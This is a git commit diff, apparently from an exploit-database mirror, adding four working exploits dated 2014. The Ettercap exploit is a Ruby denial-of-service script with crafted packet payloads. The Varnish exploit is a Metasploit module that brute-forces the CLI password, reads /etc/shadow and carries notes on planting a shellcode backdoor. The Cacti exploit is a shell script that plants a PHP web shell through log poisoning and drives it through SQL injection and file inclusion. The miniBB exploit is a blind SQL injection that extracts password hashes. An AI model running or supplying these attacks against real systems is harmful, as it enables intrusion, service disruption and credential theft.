Updated 12_21_2014
This commit is contained in:
parent
2a1c991e8f
commit
9f4c7b310b
5 changed files with 524 additions and 0 deletions
|
@ -32041,3 +32041,7 @@ id,file,description,date,author,platform,type,port
|
||||||
35575,platforms/php/webapps/35575.txt,"PrestaShop 1.3.6 'cms.php' Remote File Include Vulnerability",2011-04-08,KedAns-Dz,php,webapps,0
|
35575,platforms/php/webapps/35575.txt,"PrestaShop 1.3.6 'cms.php' Remote File Include Vulnerability",2011-04-08,KedAns-Dz,php,webapps,0
|
||||||
35576,platforms/asp/webapps/35576.txt,"Omer Portal 3.220060425 'arama_islem.asp' Cross Site Scripting Vulnerability",2011-04-07,"kurdish hackers team",asp,webapps,0
|
35576,platforms/asp/webapps/35576.txt,"Omer Portal 3.220060425 'arama_islem.asp' Cross Site Scripting Vulnerability",2011-04-07,"kurdish hackers team",asp,webapps,0
|
||||||
35577,platforms/php/webapps/35577.txt,"vtiger CRM 5.2.1 'vtigerservice.php' Cross Site Scripting Vulnerability",2011-04-07,"AutoSec Tools",php,webapps,0
|
35577,platforms/php/webapps/35577.txt,"vtiger CRM 5.2.1 'vtigerservice.php' Cross Site Scripting Vulnerability",2011-04-07,"AutoSec Tools",php,webapps,0
|
||||||
|
35578,platforms/php/webapps/35578.sh,"Cacti Superlinks Plugin 1.4-2 RCE(LFI) via SQL Injection Exploit",2014-12-19,Wireghoul,php,webapps,0
|
||||||
|
35579,platforms/php/webapps/35579.txt,"miniBB 3.1 - Blind SQL Injection",2014-12-19,"Kacper Szurek",php,webapps,80
|
||||||
|
35580,platforms/linux/dos/35580.rb,"Ettercap 0.8.0-0.8.1 - Multiple Denial of Service Vulnerabilities",2014-12-19,"Nick Sampanis",linux,dos,0
|
||||||
|
35581,platforms/linux/remote/35581.rb,"Varnish Cache CLI Interface Remote Code Execution",2014-12-19,"Patrick Webster",linux,remote,6082
|
||||||
|
|
Can't render this file because it is too large.
|
203
platforms/linux/dos/35580.rb
Executable file
203
platforms/linux/dos/35580.rb
Executable file
|
@ -0,0 +1,203 @@
|
||||||
|
#Exploit Title: 6 Remote ettercap Dos exploits to 1
|
||||||
|
#Date: 19/12/2014
|
||||||
|
#Exploit Author: Nick Sampanis
|
||||||
|
#Vendor Homepage: http://ettercap.github.io
|
||||||
|
#Software Link: https://github.com/Ettercap/ettercap/archive/v0.8.1.tar.gz
|
||||||
|
#Version: 8.0-8.1
|
||||||
|
#Tested on: Linux
|
||||||
|
#CVE: CVE-2014-6395 CVE-2014-9376 CVE-2014-9377 CVE-2014-9378 CVE-2014-9379
|
||||||
|
#Make sure that you have installed packefu and pcaprub
|
||||||
|
|
||||||
|
require 'packetfu'
|
||||||
|
include PacketFu
|
||||||
|
|
||||||
|
if ARGV.count < 4
|
||||||
|
puts "[-]Usage #{$PROGRAM_NAME} src_ip dst_ip src_mac iface"
|
||||||
|
puts "[-]Use valid mac for your interface, if you dont know"+
|
||||||
|
" victim's ip address use broadcast"
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
|
||||||
|
def nbns_header
|
||||||
|
u = UDPPacket.new()
|
||||||
|
u.eth_saddr = ARGV[2]
|
||||||
|
u.eth_daddr = "ff:ff:ff:ff:ff:ff"
|
||||||
|
u.ip_daddr = ARGV[1]
|
||||||
|
u.ip_saddr = ARGV[0]
|
||||||
|
u.udp_src = 4444
|
||||||
|
u.udp_dst = 137
|
||||||
|
u.payload = "\xa0\x2c\x01\x10\x00\x01\x00\x00\x00\x00\x00\x00"
|
||||||
|
u.payload << "\x20\x46\x48\x45\x50\x46\x43\x45\x4c\x45\x48\x46"#name
|
||||||
|
u.payload << "\x43\x45\x50\x46\x46\x46\x41\x43\x41\x43\x41\x43"#name
|
||||||
|
u.payload << "\x41\x43\x41\x43\x41\x43\x41\x41\x41\x00"#name
|
||||||
|
u.payload << "\x00\x20" #type
|
||||||
|
u.payload << "\x00\x01" #class
|
||||||
|
u.payload << "A"*1000 #pad
|
||||||
|
u.recalc
|
||||||
|
u.to_w(ARGV[3])
|
||||||
|
end
|
||||||
|
def gg_client
|
||||||
|
u = TCPPacket.new()
|
||||||
|
u.eth_saddr = ARGV[2]
|
||||||
|
u.eth_daddr = "ff:ff:ff:ff:ff:ff"
|
||||||
|
u.ip_saddr = ARGV[0]
|
||||||
|
u.ip_daddr = ARGV[1]
|
||||||
|
u.tcp_src = 3333
|
||||||
|
u.tcp_dst = 8074
|
||||||
|
u.payload = "\x15\x00\x00\x00" #gg_type
|
||||||
|
u.payload << "\xe8\x03\x00\x00" #gg_len
|
||||||
|
u.payload << "A"*1000
|
||||||
|
u.recalc
|
||||||
|
u.to_w(ARGV[3])
|
||||||
|
end
|
||||||
|
def dhcp_header
|
||||||
|
u = UDPPacket.new()
|
||||||
|
u.eth_saddr = ARGV[2]
|
||||||
|
u.eth_daddr = "ff:ff:ff:ff:ff:ff"
|
||||||
|
u.ip_daddr = ARGV[0]
|
||||||
|
u.ip_saddr = ARGV[1]
|
||||||
|
u.udp_src = 67
|
||||||
|
u.udp_dst = 4444
|
||||||
|
u.payload = "\x02"*236
|
||||||
|
u.payload << "\x63\x82\x53\x63"
|
||||||
|
u.payload << "\x35"
|
||||||
|
u.payload << "\x00\x05\x00"
|
||||||
|
u.payload << "\x51"
|
||||||
|
u.payload << "\x00" #size
|
||||||
|
u.payload << "A" * 3 #pad
|
||||||
|
u.recalc
|
||||||
|
u.to_w(ARGV[3])
|
||||||
|
end
|
||||||
|
|
||||||
|
def mdns_header
|
||||||
|
u = UDPPacket.new()
|
||||||
|
u.eth_saddr = ARGV[2]
|
||||||
|
u.eth_daddr = "ff:ff:ff:ff:ff:ff"
|
||||||
|
u.ip_daddr = ARGV[1]
|
||||||
|
u.ip_saddr = ARGV[0]
|
||||||
|
u.udp_src = 4444
|
||||||
|
u.udp_dst = 5353
|
||||||
|
u.payload = "\x11\x11" #id
|
||||||
|
u.payload << "\x00\x00" #flags
|
||||||
|
u.payload << "\x00\x01" #questions
|
||||||
|
u.payload << "\x00\x00" #answer_rr
|
||||||
|
u.payload << "\x00\x00" #auth_rrs
|
||||||
|
u.payload << "\x00\x00" #additional_rr
|
||||||
|
u.payload << "\x06router\x05local\x00" #name
|
||||||
|
u.payload << "\x00\x01" #type
|
||||||
|
u.payload << "\x00\x01" #class
|
||||||
|
u.recalc
|
||||||
|
u.to_w(ARGV[3])
|
||||||
|
end
|
||||||
|
def mdns_dos_header
|
||||||
|
u = UDPPacket.new()
|
||||||
|
u.eth_saddr = ARGV[2]
|
||||||
|
u.eth_daddr = "ff:ff:ff:ff:ff:ff"
|
||||||
|
u.ip_daddr = ARGV[1]
|
||||||
|
u.ip_saddr = ARGV[0]
|
||||||
|
u.udp_src = 4444
|
||||||
|
u.udp_dst = 5353
|
||||||
|
u.payload = "\x11\x11" #id
|
||||||
|
u.payload << "\x00\x00" #flags
|
||||||
|
u.payload << "\x00\x01" #questions
|
||||||
|
u.payload << "\x00\x00" #answer_rr
|
||||||
|
u.payload << "\x00\x00" #auth_rrs
|
||||||
|
u.payload << "\x00\x00" #additional_rr
|
||||||
|
u.payload << "\x01"
|
||||||
|
u.payload << "\x00\x01" #type
|
||||||
|
u.payload << "\x00\x01" #class
|
||||||
|
u.payload << "A"*500
|
||||||
|
u.recalc
|
||||||
|
u.to_w(ARGV[3])
|
||||||
|
end
|
||||||
|
|
||||||
|
def pgsql_server
|
||||||
|
u = TCPPacket.new()
|
||||||
|
u.eth_saddr = ARGV[2]
|
||||||
|
u.eth_daddr = "ff:ff:ff:ff:ff:ff"
|
||||||
|
u.ip_saddr = ARGV[1]
|
||||||
|
u.ip_daddr = ARGV[0]
|
||||||
|
u.tcp_src = 5432
|
||||||
|
u.tcp_dst = 3333
|
||||||
|
u.payload = "\x52\x00\x00\x00\x08\x00\x00\x00\x03\x73\x65\x72\x02\x74\x65\x73\x74\x00\x64\x61\x74\x61\x62\x61\x73\x65\x02\x74\x65\x73\x74\x00\x63\x6c\x69\x65\x6e\x74\x5f\x65\x6e\x63\x6f\x64\x69\x6e\x67\x00\x55\x4e\x49\x43\x4f\x44\x45\x00\x44\x61\x74\x65\x53\x74\x79\x6c\x65\x00\x49\x53\x4f\x00\x54\x69\x6d\x65\x5a\x6f\x6e\x65\x00\x55\x53\x2f\x50\x61\x63\x69\x66\x69\x63\x00\x00"
|
||||||
|
u.recalc
|
||||||
|
u.to_w(ARGV[3])
|
||||||
|
end
|
||||||
|
def pgsql_client
|
||||||
|
u = TCPPacket.new()
|
||||||
|
u.eth_saddr = ARGV[2]
|
||||||
|
u.eth_daddr = "ff:ff:ff:ff:ff:ff"
|
||||||
|
u.ip_saddr = ARGV[0]
|
||||||
|
u.ip_daddr = ARGV[1]
|
||||||
|
u.tcp_src = 3333
|
||||||
|
u.tcp_dst = 5432
|
||||||
|
u.payload = "\x70\x00\x00\x5b\x00\x03\x00\x00\x75\x73\x65\x72\x02\x74\x65\x73\x74\x00\x64\x61\x74\x61\x62\x61\x73\x65\x02\x74\x65\x73\x74\x00\x63\x6c\x69\x65\x6e\x74\x5f\x65\x6e\x63\x6f\x64\x69\x6e\x67\x00\x55\x4e\x49\x43\x4f\x44\x45\x00\x44\x61\x74\x65\x53\x74\x79\x6c\x65\x00\x49\x53\x4f\x00\x54\x69\x6d\x65\x5a\x6f\x6e\x65\x00\x55\x53\x2f\x50\x61\x63\x69\x66\x69\x63\x00\x00"
|
||||||
|
u.recalc
|
||||||
|
u.to_w(ARGV[3])
|
||||||
|
end
|
||||||
|
|
||||||
|
def pgsql_client_shell
|
||||||
|
u = TCPPacket.new()
|
||||||
|
u.eth_saddr = ARGV[2]
|
||||||
|
u.eth_daddr = "ff:ff:ff:ff:ff:ff"
|
||||||
|
u.ip_saddr = ARGV[0]
|
||||||
|
u.ip_daddr = ARGV[1]
|
||||||
|
u.tcp_src = 3333
|
||||||
|
u.tcp_dst = 5432
|
||||||
|
u.payload = "\x70"
|
||||||
|
u.payload << "\x00\x00\x03\xe9" #len
|
||||||
|
u.payload << "A"*1000
|
||||||
|
u.payload << "\x00"
|
||||||
|
u.recalc
|
||||||
|
u.to_w(ARGV[3])
|
||||||
|
end
|
||||||
|
|
||||||
|
def radius_header
|
||||||
|
u = UDPPacket.new()
|
||||||
|
u.eth_saddr = ARGV[2]
|
||||||
|
u.eth_daddr = "ff:ff:ff:ff:ff:ff"
|
||||||
|
u.ip_daddr = ARGV[1]
|
||||||
|
u.ip_saddr = ARGV[0]
|
||||||
|
u.udp_src = 4444
|
||||||
|
u.udp_dst = 1645
|
||||||
|
u.payload = "\x01\x01\x00\xff\x00\x01\x00\x00\x00\x00\x00\x00\x20\x46\x48\x00\x50\x46\x43\xff\x01\x00\x48\x46\x01\x00\x50\x46\x46\x46\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x41\x41\x00\x00\x20\x00\x01"
|
||||||
|
u.recalc
|
||||||
|
u.to_w(ARGV[3])
|
||||||
|
end
|
||||||
|
|
||||||
|
puts "[+]6 Remote ettercap Dos exploits to 1 by Nick Sampanis"
|
||||||
|
puts "[+]-1- nbns plugin CVE-2014-9377"
|
||||||
|
puts "[+]-2- gg dissector CVE-2014-9376"
|
||||||
|
puts "[+]-3- dhcp dissector CVE-2014-9376"
|
||||||
|
puts "[+]-4- mdns plugin CVE-2014-9378"
|
||||||
|
puts "[+]-5- postgresql dissector CVE-2014-6395(works only in 8.0)"
|
||||||
|
puts "[+]-6- radius dissector CVE-2014-9379"
|
||||||
|
print "choice:"
|
||||||
|
choice = $stdin.gets.chomp().to_i()
|
||||||
|
|
||||||
|
case choice
|
||||||
|
when 1
|
||||||
|
puts "[+]Sending nbns packet.."
|
||||||
|
nbns_header
|
||||||
|
when 2
|
||||||
|
puts "[+]Sending client gg packet.."
|
||||||
|
gg_client
|
||||||
|
when 3
|
||||||
|
puts "[+]Sending dhcp packet.."
|
||||||
|
dhcp_header
|
||||||
|
when 4
|
||||||
|
puts "[+]Sending mdns packet.."
|
||||||
|
mdns_header
|
||||||
|
mdns_dos_header
|
||||||
|
when 5
|
||||||
|
puts "[+]Sending pgsql packet.."
|
||||||
|
pgsql_client
|
||||||
|
pgsql_server
|
||||||
|
pgsql_client_shell
|
||||||
|
when 6
|
||||||
|
puts "[+]Sending radius packet.."
|
||||||
|
radius_header
|
||||||
|
else
|
||||||
|
puts "[-]Unrecognized command "
|
||||||
|
end
|
||||||
|
|
168
platforms/linux/remote/35581.rb
Executable file
168
platforms/linux/remote/35581.rb
Executable file
|
@ -0,0 +1,168 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::AuthBrute
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'Varnish Cache CLI Interface Bruteforce Utility',
|
||||||
|
'Description' => 'This module attempts to login to the Varnish Cache (varnishd) CLI instance using a bruteforce
|
||||||
|
list of passwords. This module will also attempt to read the /etc/shadow root password hash
|
||||||
|
if a valid password is found. It is possible to execute code as root with a valid password,
|
||||||
|
however this is not yet implemented in this module.',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'OSVDB', '67670' ],
|
||||||
|
[ 'CVE', '2009-2936' ],
|
||||||
|
# General
|
||||||
|
[ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ],
|
||||||
|
[ 'CVE', '1999-0502'] # Weak password
|
||||||
|
],
|
||||||
|
'Author' => [ 'patrick' ],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(6082),
|
||||||
|
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
|
||||||
|
File.join(Msf::Config.data_directory, "wordlists", "unix_passwords.txt") ]),
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
deregister_options('USERNAME', 'USER_FILE', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_USERS')
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
connect
|
||||||
|
res = sock.get_once(-1,3) # detect banner
|
||||||
|
if (res =~ /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required./) # 107 auth
|
||||||
|
vprint_status("Varnishd CLI detected - authentication required.")
|
||||||
|
each_user_pass { |user, pass|
|
||||||
|
sock.put("auth #{Rex::Text.rand_text_alphanumeric(3)}\n") # Cause a login fail.
|
||||||
|
res = sock.get_once(-1,3) # grab challenge
|
||||||
|
if (res =~ /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required./) # 107 auth
|
||||||
|
challenge = $1
|
||||||
|
secret = pass + "\n" # newline is needed
|
||||||
|
response = challenge + "\n" + secret + challenge + "\n"
|
||||||
|
response = Digest::SHA256.hexdigest(response)
|
||||||
|
sock.put("auth #{response}\n")
|
||||||
|
res = sock.get_once(-1,3)
|
||||||
|
if (res =~ /107 \d+/) # 107 auth
|
||||||
|
vprint_status("FAILED: #{secret}")
|
||||||
|
elsif (res =~ /200 \d+/) # 200 ok
|
||||||
|
print_good("GOOD: #{secret}")
|
||||||
|
|
||||||
|
report_auth_info(
|
||||||
|
:host => rhost,
|
||||||
|
:port => rport,
|
||||||
|
:sname => ('varnishd'),
|
||||||
|
:pass => pass,
|
||||||
|
:proof => "#{res}",
|
||||||
|
:source_type => "user_supplied",
|
||||||
|
:active => true
|
||||||
|
)
|
||||||
|
|
||||||
|
sock.put("vcl.load #{Rex::Text.rand_text_alphanumeric(3)} /etc/shadow\n") # only returns 1 line of any target file.
|
||||||
|
res = sock.get_once(-1,3)
|
||||||
|
if (res =~ /root:([\D\S]+):/) # lazy.
|
||||||
|
if ($1[0] == "!")
|
||||||
|
vprint_error("/etc/shadow root uid is disabled.\n")
|
||||||
|
else
|
||||||
|
print_good("/etc/shadow root enabled:\nroot:#{$1}:")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
vprint_error("Unable to read /etc/shadow?:\n#{res}\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
break
|
||||||
|
else
|
||||||
|
vprint_error("Unknown response:\n#{res}\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
}
|
||||||
|
elsif (res =~ /Varnish Cache CLI 1.0/)
|
||||||
|
print_good("Varnishd CLI does not require authentication!")
|
||||||
|
else
|
||||||
|
vprint_error("Unknown response:\n#{res}\n")
|
||||||
|
end
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
=begin
|
||||||
|
|
||||||
|
aushack notes:
|
||||||
|
|
||||||
|
- varnishd typically runs as root, forked as unpriv.
|
||||||
|
- 'param.show' lists configurable options.
|
||||||
|
- 'cli_timeout' is 60 seconds. param.set cli_timeout 99999 (?) if we want to inject payload into a client thread and avoid being killed.
|
||||||
|
- 'user' is nobody. param.set user root (may have to stop/start the child to activate)
|
||||||
|
- 'group' is nogroup. param.set group root (may have to stop/start the child to activate)
|
||||||
|
- (unless varnishd is launched with -r user,group (read-only) implemented in v4, which may make priv esc fail).
|
||||||
|
- vcc_unsafe_path is on. used to 'import ../../../../file' etc.
|
||||||
|
- vcc_allow_inline_c is off. param.set vcc_allow_inline_c on to enable code execution.
|
||||||
|
- code execution notes:
|
||||||
|
|
||||||
|
* quotes must be escaped \"
|
||||||
|
* \n is a newline
|
||||||
|
* C{ }C denotes raw C code.
|
||||||
|
* e.g. C{ unsigned char shellcode[] = \"\xcc\"; }C
|
||||||
|
* #import <stdio.h> etc must be "newline", i.e. C{ \n#include <stdlib.h>\n dosomething(); }C (without 2x \n, include statement will not interpret correctly).
|
||||||
|
* C{ asm(\"int3\"); }C can be used for inline assembly / shellcode.
|
||||||
|
* varnishd has it's own 'vcl' syntax. can't seem to inject C randomly - must fit VCL logic.
|
||||||
|
* example trigger for backdoor:
|
||||||
|
|
||||||
|
VCL server:
|
||||||
|
vcl.inline foo "vcl 4.0;\nbackend b { . host = \"127.0.0.1\"; } sub vcl_recv { if (req.url ~ \"^/backd00r\") { C{ asm(\"int3\"); }C } } \n"
|
||||||
|
vcl.use foo
|
||||||
|
start
|
||||||
|
|
||||||
|
Attacker:
|
||||||
|
telnet target 80
|
||||||
|
GET /backd00r HTTP/1.1
|
||||||
|
Host: 127.0.0.1
|
||||||
|
|
||||||
|
(... wait for child to execute debug trap INT3 / shellcode).
|
||||||
|
|
||||||
|
CLI protocol notes from website:
|
||||||
|
|
||||||
|
The CLI protocol used on the management/telnet interface is a strict request/response protocol, there are no unsolicited transmissions from the responding end.
|
||||||
|
|
||||||
|
Requests are whitespace separated tokens terminated by a newline (NL) character.
|
||||||
|
|
||||||
|
Tokens can be quoted with "..." and common backslash escape forms are accepted: (\n), (\r), (\t), (
|
||||||
|
), (\"), (\%03o) and (\x%02x)
|
||||||
|
|
||||||
|
The response consists of a header which can be read as fixed format or ASCII text:
|
||||||
|
|
||||||
|
1-3 %03d Response code
|
||||||
|
4 ' ' Space
|
||||||
|
5-12 %8d Length of body
|
||||||
|
13 \n NL character.
|
||||||
|
Followed by the number of bytes announced by the header.
|
||||||
|
|
||||||
|
The Responsecode is numeric shorthand for the nature of the reaction, with the following values currently defined in include/cli.h:
|
||||||
|
|
||||||
|
enum cli_status_e {
|
||||||
|
CLIS_SYNTAX = 100,
|
||||||
|
CLIS_UNKNOWN = 101,
|
||||||
|
CLIS_UNIMPL = 102,
|
||||||
|
CLIS_TOOFEW = 104,
|
||||||
|
CLIS_TOOMANY = 105,
|
||||||
|
CLIS_PARAM = 106,
|
||||||
|
CLIS_OK = 200,
|
||||||
|
CLIS_CANT = 300,
|
||||||
|
CLIS_COMMS = 400,
|
||||||
|
CLIS_CLOSE = 500
|
||||||
|
};
|
||||||
|
=end
|
||||||
|
|
101
platforms/php/webapps/35578.sh
Executable file
101
platforms/php/webapps/35578.sh
Executable file
|
@ -0,0 +1,101 @@
|
||||||
|
#!/bin/sh
|
||||||
|
##############
|
||||||
|
# Exploit Title: Cacti - Superlinks Plugin 1.4-2 RCE(LFI) via SQL Injection
|
||||||
|
# Date: 19/12/2014
|
||||||
|
# Exploit Author: Wireghoul
|
||||||
|
# Software Link: http://docs.cacti.net/plugin:superlinks
|
||||||
|
# Identifiers: CVE-2014-4644, EDB-ID-33809
|
||||||
|
# Exploit explanation through inline comments
|
||||||
|
# Patch provided at the end
|
||||||
|
#
|
||||||
|
# This is the year where hope fails you -- Slipknot: Pulse of the maggots
|
||||||
|
#
|
||||||
|
##############
|
||||||
|
|
||||||
|
echo -e "\e[32m *-*, \e[31m ___________"
|
||||||
|
echo -e "\e[32m ,*\/|\`| ; \e[31m /.'_______\`.\\"
|
||||||
|
echo -e "\e[32m \\' | |'; *, \e[31m /( (_______\`-'\\"
|
||||||
|
echo -e "\e[32m \ \`| | ;/ ) \e[31m \`.\`.______ \.'"
|
||||||
|
echo -e "\e[32m : |'| , / \e[31m \`..-.___>.'"
|
||||||
|
echo -e "\e[32m :'| |, / \e[31m \`.__ .'\e[0m"
|
||||||
|
echo -e " _________\e[32m:_|_|_;\e[0m_______________\e[31m\`.'\e[0m_______[Wireghoul]___"
|
||||||
|
echo -e " CACTI SUPERLINKS PLUGIN 1.4-2 REMOTE CODE EXECUTION PoC"
|
||||||
|
echo
|
||||||
|
if [ -z $1 ]; then
|
||||||
|
echo -e "Usage $0 <superpluginurl>\n $0 http://example.com/cacti/plugins/superlinks/superlinks.php\n";
|
||||||
|
exit 2;
|
||||||
|
fi
|
||||||
|
|
||||||
|
# This exploit is a second order LFI through SQLI, so first we must write some data to disk
|
||||||
|
# Luckily the application logs all sort of stuff, so lets poison the application log
|
||||||
|
# The reason for this is manyfold, read on.
|
||||||
|
curl --silent "$1?id=SHELL<?php+passthru(\$_GET\[c\])+?>LLEHS<?php+exit+?>" > /dev/null
|
||||||
|
|
||||||
|
# Now lets analyse the vulnerability:
|
||||||
|
# superlinks.php:21:if (isset($_GET['id'])) {
|
||||||
|
# superlinks.php:22: $pageid=$_GET['id'];
|
||||||
|
# superlinks.php:23:}
|
||||||
|
# superlinks.php:24:
|
||||||
|
# superlinks.php:25:$page = db_fetch_row("SELECT DISTINCT
|
||||||
|
# superlinks.php:26: id,
|
||||||
|
# superlinks.php:27: title,
|
||||||
|
# superlinks.php:28: style,
|
||||||
|
# superlinks.php:29: contentfile
|
||||||
|
# superlinks.php:30: FROM (superlinks_pages, superlinks_auth)
|
||||||
|
# superlinks.php:31: WHERE superlinks_pages.id=superlinks_auth.pageid
|
||||||
|
# superlinks.php:32: AND id=" . $pageid . "
|
||||||
|
# This is where the injection occurs, we can now union select 1,2,3,4 -- ftw
|
||||||
|
# However the real fun occurs a few lines later
|
||||||
|
# superlinks.php:57: $my_file = $config["base_path"] . "/plugins/superlinks/content/" . $page['contentfile'];
|
||||||
|
# superlinks.php:58:
|
||||||
|
# superlinks.php:59: if (file_exists($my_file)) {
|
||||||
|
# superlinks.php:60: @include_once($my_file);
|
||||||
|
# We can now include a file of our choosing (LFI) based on the data returned from the SQLi
|
||||||
|
# There are only a few problems:
|
||||||
|
# * We cannot use strings/quotes as magic quotes are usually on
|
||||||
|
# * We do not know the local path for the LFI
|
||||||
|
# * Usual tricks like /proc/self* have been patched
|
||||||
|
# * Database server and web server may be different hosts
|
||||||
|
# Lets solve the easy one first, we dont need to quote our strings, hex encoding works great
|
||||||
|
# The second one is a little trickier, we can brute force LFI locations... or
|
||||||
|
# We can dynamically locate a file path which is stored in the database and present on the webserver
|
||||||
|
# $ mysqldump cacti | grep '\.log'
|
||||||
|
# INSERT INTO `settings` VALUES ('path_php_binary','/usr/bin/php'),('path_rrdtool','/usr/bin/rrdtool'),('poller_lastrun','1414565401'),('path_webroot','/usr/share/cacti/site'),('date','2014-10-29 17:50:02'),('stats_poller','Time:0.1182 Method:cmd.php Processes:1 Threads:N/A Hosts:2 HostsPerProcess:2 DataSources:0 RRDsProcessed:0'),('stats_recache','RecacheTime:0.0 HostsRecached:0'),('path_snmpwalk','/usr/bin/snmpwalk'),('path_snmpget','/usr/bin/snmpget'),('path_snmpbulkwalk','/usr/bin/snmpbulkwalk'),('path_snmpgetnext','/usr/bin/snmpgetnext'),('path_cactilog','/var/log/cacti/cacti.log'),('snmp_version','net-snmp'),('rrdtool_version','rrd-1.4.x'),('superlinks_tabstyle','0'),('superlinks_hidelogo','0'),('superlinks_hideconsole','0'),('superlinks_db_version','1.4'),('auth_method','1'),('guest_user','guest'),('user_template','0'),('ldap_server',''),('ldap_port','389'),('ldap_port_ssl','636'),('ldap_version','3'),('ldap_encryption','0'),('ldap_referrals','0'),('ldap_mode','0'),('ldap_dn',''),('ldap_group_require',''),('ldap_group_dn',''),('ldap_group_attrib',''),('ldap_group_member_type','1'),('ldap_search_base',''),('ldap_search_filter',''),('ldap_specific_dn',''),('ldap_specific_password','');
|
||||||
|
# $ ls -la /var/log/cacti/cacti.log
|
||||||
|
# -rw-r----- 1 www-data www-data 5838 Oct 29 17:50 /var/log/cacti/cacti.log
|
||||||
|
# $ tail /var/log/cacti/cati.log
|
||||||
|
# <snip> ERROR: SQL Assoc Failed!, Error:'1064', SQL:"SELECT graph_templates.id, graph_templates.name FROM (graph_local,graph_templates,graph_templates_graph) WHERE graph_local.id=graph_templates_graph.local_graph_id AND graph_templates_graph.graph_template_id=graph_templates.id AND graph_local.host_id=1 AND graph_templates.id=12 select 1,2,3,4 -- GROUP BY graph_templates.id ORDER BY graph_templates.name"
|
||||||
|
# WINRAR!
|
||||||
|
|
||||||
|
# We can now include the poisoned log file by fetching the log path from the database
|
||||||
|
# and prepending it with the normal directory traversal pattern ../../../ using concat()
|
||||||
|
# We traverse 8 deep, that's usually enough
|
||||||
|
echo -ne "Dropping into shell, type exit to quit.\ncactishell> "
|
||||||
|
while read line; do
|
||||||
|
if [ "$line" == "exit" ]; then
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
comand=`echo -n $line | sed -e's/ /+/g'`
|
||||||
|
curl --silent "$1?id=123+union+select+1,2,3,concat(0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f,value)+from+settings+where+name=0x706174685f63616374696c6f67+--+-&c=$comand" | \
|
||||||
|
sed -n '/SHELL/, $p' | \
|
||||||
|
sed -e 's/.*SHELL//' |\
|
||||||
|
sed '/LLEHS/, $d'
|
||||||
|
echo -n "cactishell> "
|
||||||
|
done
|
||||||
|
|
||||||
|
# Proposed patch
|
||||||
|
# Vendor has a patch in a SVN repo somewhere:
|
||||||
|
# http://bugs.cacti.net/bug_view_advanced_page.php?bug_id=2475
|
||||||
|
# Yet has not made the patch available, or responded to requests to do so:
|
||||||
|
# http://forums.cacti.net/viewtopic.php?t=53711
|
||||||
|
#--- superlinks.php 2014-12-18 02:05:37.706013833 -0500
|
||||||
|
#+++ superlinks.php 2014-12-18 02:05:09.694014497 -0500
|
||||||
|
#@@ -19,7 +19,7 @@
|
||||||
|
#
|
||||||
|
# $pageid = 0;
|
||||||
|
# if (isset($_GET['id'])) {
|
||||||
|
#- $pageid=intval($_GET['id']);
|
||||||
|
#+ $pageid=$_GET['id'];
|
||||||
|
# }
|
||||||
|
#
|
||||||
|
# $page = db_fetch_row("SELECT DISTINCT
|
48
platforms/php/webapps/35579.txt
Executable file
48
platforms/php/webapps/35579.txt
Executable file
|
@ -0,0 +1,48 @@
|
||||||
|
# Exploit Title: miniBB 3.1 Blind SQL Injection
|
||||||
|
# Date: 23-11-2014
|
||||||
|
# Software Link: http://www.minibb.com/
|
||||||
|
# Exploit Author: Kacper Szurek
|
||||||
|
# Contact: http://twitter.com/KacperSzurek
|
||||||
|
# Website: http://security.szurek.pl/
|
||||||
|
# CVE: CVE-2014-9254
|
||||||
|
# Category: webapps
|
||||||
|
|
||||||
|
1. Description
|
||||||
|
|
||||||
|
preg_match() only check if $_GET['code'] contains at least one letter or digit (missing ^ and $ inside regexp).
|
||||||
|
|
||||||
|
File: bb_func_unsub.php
|
||||||
|
$usrid=(isset($_GET['usrid'])?$_GET['usrid']+0:0);
|
||||||
|
|
||||||
|
$allowUnsub=FALSE;
|
||||||
|
$chkCode=FALSE;
|
||||||
|
|
||||||
|
if(isset($_GET['code']) and preg_match("#[a-zA-Z0-9]+#", $_GET['code'])){
|
||||||
|
//trying to unsubscribe directly from email
|
||||||
|
$chkField='email_code';
|
||||||
|
$chkVal=$_GET['code'];
|
||||||
|
$userCondition=TRUE;
|
||||||
|
$chkCode=TRUE;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
//manual unsubsribe
|
||||||
|
$chkField='user_id';
|
||||||
|
$chkVal=$user_id;
|
||||||
|
$userCondition=($usrid==$user_id);
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($topic!=0 and $usrid>0 and $userCondition and $ids=db_simpleSelect(0, $Ts, 'id, user_id', 'topic_id', '=', $topic, '', '', $chkField, '=', $chkVal))
|
||||||
|
|
||||||
|
http://security.szurek.pl/minibb-31-blind-sql-injection.html
|
||||||
|
|
||||||
|
2. Proof of Concept
|
||||||
|
|
||||||
|
http://minibb-url/index.php?action=unsubscribe&usrid=1&topic=1&code=test' UNION SELECT 1, IF(substr(user_password,1,1) = CHAR(99), SLEEP(5), 0) FROM minibbtable_users WHERE user_id = 1 AND username != '
|
||||||
|
|
||||||
|
